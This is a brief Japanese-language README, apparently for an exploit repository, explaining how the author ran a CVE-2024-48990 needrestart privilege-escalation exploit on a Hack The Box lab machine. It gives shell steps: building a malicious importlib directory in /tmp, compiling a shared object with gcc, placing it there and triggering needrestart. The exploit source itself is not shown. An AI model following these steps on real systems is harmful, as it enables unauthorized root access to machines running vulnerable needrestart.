0x3bs/cve-2024-48990これをConversor HTBマシンで試しました。
こんにちは、これは0x3bsです。
被害マシン内:
set -e
cd /tmp
# 1. Create the malicious module directory structure
mkdir -p malicious/importlib
攻撃者マシンで
攻撃者マシンで lib.c をコンパイルするには:
gcc -shared -fPIC -o exp.so lib.c
そして被害マシン内:
/tmp 内
chmod +x run.sh
/tmp/malicious/importlib 内:
chmod +x exp.so
./exp.so
# try to run it after run 'run.sh' if it didn't work
そして /tmp 内
./run.sh
そして別のセッションで needrestart を実行してください
注意 >> exp.so は /tmp/malicious/importlib に置かれている必要があります